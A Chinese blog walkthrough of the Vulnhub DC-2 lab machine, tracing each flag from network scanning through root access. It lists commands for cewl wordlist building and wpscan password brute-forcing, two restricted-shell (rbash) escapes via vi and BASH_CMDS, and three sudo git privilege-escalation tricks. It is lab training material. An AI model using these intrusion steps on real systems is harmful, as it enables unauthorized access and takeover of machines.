Vulnhub[DC2]

简介

下载

  • DC-2.zip (Size: 847 MB)
  • Download: http://www.five86.com/downloads/DC-2.zip
  • Download (Mirror): https://download.vulnhub.com/dc/DC-2.zip
  • Download (Torrent): https://download.vulnhub.com/dc/DC-2.zip.torrent

流程

信息收集

主机探活

kali中使用arp-scan进行主机探活

arp-scan --interface eth0 192.168.0.0/24 

经过筛选可以知道192.168.0.131 是DC-2的ip

端口扫描

nmap  -sC -sV -p- 192.168.0.131

可以这里开启了80、7744端口

根据信息可知7744端口为SSH

我们先从80端口入手

返回一个错误页面,F12可以看到网页做了一个301永久重定向

我们编辑下Kali的hosts文件

vim /etc/hosts

添加一条记录

192.168.61.162 dc-2

再次打开dc-2,即可正常显示

渗透

Flag1

在页面中就可以找到flag1

Flag 1:

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.

翻译:

Flag 1:
您通常的单词表可能不起作用,因此,也许您只需要成为 cewl。
更多的密码总是更好,但有时你无法赢得所有密码。
以一个身份登录以查看下一个标志。
如果找不到,请以另一个身份登录。

这里提示我们要使用cwel来生成密码字典

cewl dc-2 > pwd.txt&&cat pwd.txt

然后用wpscan枚举出当前存在的用户,并存入username.txt中

然后这里我们可以看见当前存在admin、jerry、tom三个用户

Flag2

然后我们用刚刚生成的username.txt和pwd.txt进行账号密码遍历

wpscan --url http://dc-2/ -U username.txt -P pwd.txt
[SUCCESS] - jerry / adipiscing                                       
[SUCCESS] - tom / parturient

然后我们打开wp的管理后台,一般都是wp-admin

先尝试用jerry登录,发现flag2

Flag 2:

If you can’t exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

翻译:

Flag 2:

如果您不能利用 WordPress 并走捷径,还有另一种方法。
希望你找到另一个切入点。

说我们无法攻击WP,我们需要寻找别的方法

然后登录tom

但是在tom的账号中也没有什么额外的发现

Flag3

然后靶机除了80还有7744(SSH)端口,我们也可以用这2个账号尝试下

jerry无法登录SSH,tom顺利登录SSH

查看tom用户可以执行命令

echo $PATH
echo /home/tom/usr/bin/*

发现能执行的命令非常少,只能执行less,ls,scp,vi

先ls,发现flag3.txt,然后用vi获取flag3的内容(也可以使用less)

Flag 3:

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes

翻译:

Flag 3:

可怜的老汤姆总是追着杰瑞跑。 也许他应该为他造成的所有压力感到不安

这个意思感觉可能是要我们su到jerry,但是我们无法使用su命令,玩呢?

所以我们需要绕过rbash(受限的bash)

这里可以两种绕过方式

  1. vi绕过

    vi
    :set shell=/bin/bash
    :shell
    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin
    

    进入vi命令行模式后,输入后:set shell=/bin/bash然后回车

    这时候光标会跑到第一行,不用管它

    继续进入命令行,输入:shell,回车后,会得到一个shell

    看起来跟原来的一模一样,但是不急,依次输入

    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin
    

    这两条命令后,已经绕过了rbash了,并且成功使用cat命令

  2. BASH_CMDS[a]=/bin/sh;a 绕过

    BASH_CMDS[a]=/bin/sh;a
    export PATH=$PATH:/bin/
    export PATH=$PATH:/usr/bin
    

Flag4

接下来就切换到jerry用户,而tom的ssh密码和web登陆是一样的,所以jerry也可以直接尝试之前得到的WP的密码

输入su jerry 密码:adipiscing,成功登陆,但是这里现在是在tom的home目录下

切换到jerry的家目录就可以得到flag4.txt

Flag 4:

Good to see that you’ve made it this far - but you’re not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you’re on your own now. 😃

Go on - git outta here!!!

翻译:

Flag 4:

很高兴看到你已经走到了这一步——但你还没有回家。
您仍然需要获得最终标志(唯一真正重要的标志!!!)。
这里没有任何提示——你现在就靠你自己了。 😃
继续 - 离开这里!!!!

提权

Flag4虽然说着没有提示了,但是还是提示用git提权到root

sudo -l 查询root权限

可看到/usr/bin/git是root权限执行,并且不需要密码

那么接下来就是提权了

  1. 第一种

    sudo git help config
    !/bin/bash
    
  2. 第二种

    sudo git branch --help config
    !/bin/bash
    
  3. 第三种

    TF=$(mktemp -d)
    ln -s /bin/sh "$TF/git-x"
    sudo git "--exec-path=$TF" x
    !/bin/bash
    

这里就用第一种吧

输入sudo git help config后,会强行分页显示

然后和之前绕过rbash一样

直接继续输入!/bin/bash回车

然后这就提权成功了

然后在root目录下找到final-flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值